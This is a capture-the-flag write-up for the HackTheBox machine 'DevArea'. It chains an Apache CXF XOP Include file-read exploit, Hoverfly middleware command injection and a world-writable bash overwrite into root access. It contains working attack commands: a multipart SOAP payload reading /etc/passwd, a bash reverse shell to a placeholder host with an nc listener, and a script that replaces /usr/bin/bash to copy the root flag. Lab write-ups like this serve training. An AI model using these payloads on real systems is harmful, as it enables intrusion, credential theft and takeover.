DevArea: HackTheBox Writeup (Linux, Medium)

Attack Chain Summary

Nmap → FTP (21), SSH (22), HTTP (80), Jetty (8080), Go proxy (8500), Hoverfly (8888)
        ↓
Anonymous FTP → pub/employee-service.jar
        ↓
JAR analysis → Apache CXF SOAP service on :8080/employeeservice
        ↓
CVE-2022-46364: MTOM XOP Include → LFI / SSRF
        ↓
/etc/passwd → dev_ryan   |   /etc/systemd/system/hoverfly.service → hardcoded creds
        ↓
CVE-2025-54123: Hoverfly middleware command injection → Shell as dev_ryan
        ↓
User flag

Enumeration

A full port scan reveals six open ports: FTP (21), SSH (22), HTTP (80), Jetty (8080), a Go proxy (8500), and a Hoverfly dashboard (8888). The HTTP service on port 80 redirects to devarea.htb, add it to /etc/hosts. Directory fuzzing reveals only static content, making port 80 a dead end.

Anonymous FTP login is allowed. Inside pub/ sits a single file: employee-service.jar.

JAR Analysis: Discovering the SOAP Service

Inspecting the JAR manifest reveals the main class: htb.devarea.ServerStarter. Using strings on the extracted class files confirms this is an Apache CXF SOAP web service bound to port 8080 at /employeeservice, exposing a single operation: submitReport.

The WSDL at http://<IP>:8080/employeeservice?wsdl confirms the correct request structure, note the field is arg0, not report, and the boolean is confidential, not isConfidential.

Foothold: CVE-2022-46364 (Apache CXF SSRF via MTOM)

Apache CXF versions before 3.5.5 / 3.4.10 are vulnerable to SSRF via the MTOM handler. The <xop:Include href="..."> tag resolves arbitrary URIs, both file:// (LFI) and http:// (SSRF), without validation. File contents are returned base64-encoded in the SOAP response body.

The trigger is a multipart/related SOAP request, not inline DTD or wsdlLocation parameters (both are blocked/ignored by CXF).

curl -s -X POST "http://<IP>:8080/employeeservice" \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<rootpart@example.com>"; start-info="text/xml"; boundary="MIMEBoundary"' \
  --data-binary $'--MIMEBoundary\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <rootpart@example.com>\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">\r\n  <soapenv:Body>\r\n    <dev:submitReport>\r\n      <arg0>\r\n        <confidential>false</confidential>\r\n        <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>\r\n        <department>IT</department>\r\n        <employeeName>test</employeeName>\r\n      </arg0>\r\n    </dev:submitReport>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>\r\n--MIMEBoundary--' \
  | python3 -c "import sys,base64,re; d=sys.stdin.read(); m=re.search(r'Content: ([A-Za-z0-9+/=]+)',d); print(base64.b64decode(m.group(1)).decode()) if m else print('not found')"

Decode with Python regex, not grep | base64 -d (XML entity noise breaks it).

Reading /etc/passwd confirms the target user: dev_ryan. Reading /etc/systemd/system/hoverfly.service leaks hardcoded credentials from the ExecStart line.

# Swap the href value to read any file
href="file:///etc/systemd/system/hoverfly.service"

User Flag: CVE-2025-54123 (Hoverfly v1.11.3 RCE)

Hoverfly v1.11.3 is vulnerable to command injection at /api/v2/hoverfly/middleware. Sending a PUT request with a binary + script payload causes the script to execute immediately during middleware validation, regardless of proxy mode.

Getting the JWT Token

Hoverfly uses JWT Bearer token authentication, not Basic auth. The token is obtained by logging into the Hoverfly dashboard at http://<IP>:8888/dashboard with the credentials found in the service file. Once logged in, capture the JWT from any authenticated request in Burp Suite or browser dev tools:

Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...

Triggering RCE

Key details:

• Base64-encode your reverse shell to avoid issues with redirect operators
• A 422 response is expected: the shell fires before Hoverfly's JSON parse check
• The middleware executes immediately on PUT: no need to route traffic through the proxy

# Step 1: base64 encode reverse shell
echo 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1' | base64

# Step 2: start listener
nc -lvnp 4444

# Step 3: trigger RCE (422 is expected, shell fires anyway)
curl -s -X PUT http://<IP>:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"binary":"/bin/bash","script":"echo <BASE64> | base64 -d | bash"}'

Shell lands as dev_ryan.

cat /home/dev_ryan/user.txt

User flag captured.

Privilege Escalation: World-Writable Bash + ETXTBSY Bypass

sudo -l reveals dev_ryan can run /opt/syswatch/syswatch.sh as root (NOPASSWD), with web-stop and web-restart blocked. The script starts with #!/bin/bash, meaning the kernel invokes /usr/bin/bash to execute it as root.

Checking permissions reveals /usr/bin/bash is world-writable (-rwxrwxrwx). A direct cp fails with Text file busy (ETXTBSY) because bash is currently running as your active shell, the kernel blocks writes to binaries mapped into memory.

The fix: switch to dash first, then kill all bash processes to free the binary.

# Step 1: switch to dash to protect your session
exec /bin/dash

# Step 2: backup real bash
cp /usr/bin/bash /tmp/bash.bak

# Step 3: create malicious bash payload
cat > /tmp/fakebash << 'EOF'
#!/bin/dash
cp /root/root.txt /tmp/root.txt
chmod 777 /tmp/root.txt
cp /tmp/bash.bak /usr/bin/bash
EOF
chmod +x /tmp/fakebash

# Step 4: kill bash processes to free the binary (fixes ETXTBSY)
killall bash 2>/dev/null

# Step 5: overwrite bash (now works since no process holds it)
cp /tmp/fakebash /usr/bin/bash

# Step 6: trigger as root (syswatch.sh shebang calls /usr/bin/bash)
sudo /opt/syswatch/syswatch.sh --version

# Step 7: read flag and restore immediately
cat /tmp/root.txt
cp /tmp/bash.bak /usr/bin/bash

Root flag captured.

Summary